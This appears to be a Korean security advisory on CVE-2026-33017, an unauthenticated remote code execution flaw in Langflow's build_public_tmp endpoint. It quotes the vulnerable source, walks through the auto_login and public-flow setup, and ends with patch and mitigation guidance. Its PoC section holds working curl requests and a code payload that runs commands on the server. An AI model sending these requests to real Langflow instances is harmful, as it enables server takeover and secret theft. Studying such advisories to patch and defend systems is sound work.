1. CVE-2026-33017

- /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트가 인증 없이 public flow를 빌드할 수 있고, data 매개변수로 전달된 공격자 제어 Python 코드가 exec()로 실행되어 원격 코드 실행이 가능한 취약점 (CVSS: 9.3) [1][2]
> 해당 취약점이 공개된 지 20시간 만에 실제로 악용되는 것으로 확인됨
> Exploit에 성공할 경우 서버 프로세스의 모든 권한을 획득하여 환경 변수 유출, 임의 파일 읽기/쓰기, 민감 정보 탈취 등이 가능
영향받는 버전
- Langflow 1.8.2 이하 버전
2. 취약점 상세
- build_public_tmp 엔드포인트는 public flow를 위해 인증 없이 설계됨 [3]
src/backend/base/langflow/api/v1/chat.py [4]
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
background_tasks: LimitVertexBuildBackgroundTasks,
flow_id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
files: list[str] | None = None,
stop_component_id: str | None = None,
start_component_id: str | None = None,
log_builds: bool | None = True,
flow_name: str | None = None,
request: Request,
queue_service: Annotated[JobQueueService, Depends(get_queue_service)],
event_delivery: EventDeliveryType = EventDeliveryType.POLLING,
):
...
- build_public_tmp 엔드포인트는 기본적으로 DB에 저장된 flow 정보를 기반으로 동작함
> 그러나 요청에 data 매개변수가 포함된 경우, 서버는 DB 대신 입력 데이터를 기반으로 처리 흐름을 구성
> flow 데이터는 내부적으로 Graph 생성 및 컴포넌트 로딩 과정을 거치며, 이 과정에서 별도의 샌드박싱이나 실행 제한 없이 exec()로 실행
> 엔드포인트는 인증 없이 접근 가능하기 때문에, 공격자는 data 매개변수를 통해 전달한 코드를 exec()로 실행시켜 원격 코드 실행이 발생
src/lfx/src/lfx/custom/validate.py [5]
def prepare_global_scope(module):
...
# Imports are resolved first (any module can be imported)
for node in imports:
...
module_obj = importlib.import_module(module_name)
...
exec_globals[variable_name] = importlib.import_module(variable_name)
...
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
if definitions:
combined_module = ast.Module(body=definitions, type_ignores=[])
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ARBITRARY CODE EXECUTION
return exec_globals
- 취약점 악용을 위해서는 세 가지 전제조건이 존재
① 대상 Langflow 인스턴스에 최소 1개의 public flow가 존재 (데모, 챗봇, 공유 워크 플로우 등)
② 공격자가 해당 public flow의 UUID를 알고 있어야 함 (공유 링크, URL을 통해 확인 가능)
③ 인증 없이 접근 가능하며, client_id 쿠키 값만 필요 (임의 문자열 가능)
> AUTO_LOGIN=true (default 상태)인 경우 인증되지 않은 공격자는 다음을 통해 위 세 가지 조건을 충족할 수 있음
① GET /api/v1/auto_login : 관리자(super user) 토큰 획득
② POST /api/v1/flows/ : public flow 생성
③ build_public_tmp 엔드포인트를 통해 원격 코드 실행
3. PoC
- PoC는 크게 두 부분으로 이루어져 있음
> 먼저 공격자는 public flow의 UUID(flow_id) 값을 획득하기 위한 요청 전송
※ 실제 환경에서는 공유 링크를 통해 알아낼 수 있으며, 해당 내용에서는 AUTO_LOGIN을 통해 획득
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
| jq -r '.id')
echo "Public Flow ID: $FLOW_ID"
- 이후 해당 flow_id를 이용하여 공격자 제어 Python 코드가 포함된 data 매개변수를 /api/v1/build_public_tmp/${FLOW_ID}/flow 엔드포인트로 전송
> 전달된 코드는 내부적으로 exec()로 실행되며 원격 코드 실행(RCE)이 발생
※ 해당 내용에서는 id 명령 실행 결과와 hostname을 /tmp/rce-proof 파일에 저장
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'
4. 대응방안
- 벤더사 제공 업데이트 적용 [6]
> 즉각적인 업데이트가 어려운 경우, data 매개변수를 제거하고 인증되지 않은 요청에 대해서는 build_graph_from_db 경로를 통해 DB에 저장된 flow 기반으로만 Graph 생성되도록 강제
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2026-33017 | Langflow | 1.8.2 이하 | 1.9.0 이상 |
5. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2026-33017
[2] https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx
[3] https://docs.langflow.org/api#tag/Chat/operation/cancel_build_api_v1_build__job_id__cancel_post
[4] https://github.com/langflow-ai/langflow/blob/0a6f7e015bf723d8fd346fe7d2544122b5d613a5/src/backend/base/langflow/api/v1/chat.py#L580
[5] https://github.com/langflow-ai/langflow/blob/0a6f7e015bf723d8fd346fe7d2544122b5d613a5/src/lfx/src/lfx/custom/validate.py#L323
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=72011&menuNo=205020
[7] https://thehackernews.com/2026/03/critical-langflow-flaw-cve-2026-33017.html